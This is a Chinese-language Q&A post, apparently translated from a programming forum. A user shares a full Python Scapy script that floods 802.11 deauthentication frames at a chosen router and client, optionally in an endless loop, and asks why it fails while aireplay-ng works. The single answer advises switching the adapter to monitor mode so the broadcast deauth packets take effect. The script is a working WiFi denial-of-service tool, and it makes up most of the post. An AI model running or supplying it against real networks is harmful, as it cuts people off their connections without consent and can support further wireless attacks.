Python:Deauth-Script成功发送包,但没有任何反应

时间:2017-03-20 20:54:27

标签: python networking package wifi scapy

我一直在写python中的deauth脚本,但它不起作用。 使用aireplay-ng可以正常工作。我正在使用wireshark捕获数据包,我可以看到,它们确实已经用完了。

剧本:

import argparse
import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
from scapy.all import *

def arg_parse():
    parser = argparse.ArgumentParser()
    parser.add_argument('-i',
                        '--interface',
                        help = 'Select an interface')
    parser.add_argument('-b',
                        '--bssid',
                        help = 'Select the routers BSSID')
    parser.add_argument('-c',
                        '--client',
                        help = 'Select the clients BSSID')
    parser.add_argument('-a',
                        '--amount',
                        type = int,
                        help = 'Select amount of packets to send')
    return parser.parse_args()

def send_deauth():

    # sending deauth packets
    pkt = Dot11(type=0, subtype=12, addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth(reason=7)
    sendp(pkt)
    print('Deauth-Pckt send to BSSID: ' + bssid)


if __name__ == '__main__':
    args = arg_parse()
    conf.verb = 0

    if args.interface and args.bssid and args.client:
        conf.iface = args.interface
        bssid = args.bssid
        client = args.client 

        if not args.amount:
            while True:
                send_deauth()

        elif args.amount > 0:
            amount = args.amount
            while amount > 0:
                send_deauth()
                amount -= 1
        else:
            print('[-] Invalid amount.')
    else:
        print('[-] Interface and BSSID required.')

我发现在使用aireplay-ng发送deauth-pkt时,wireshark输出说destination = broadcast。使用脚本发送后,它会显示目标设备的实际MAC。也许它与这个问题有关。

1 个答案:

答案 0 :(得分:0)

要使用广播地址发送诸如deauth数据包之类的请求,您必须先将WiFi适配器切换为监视模式。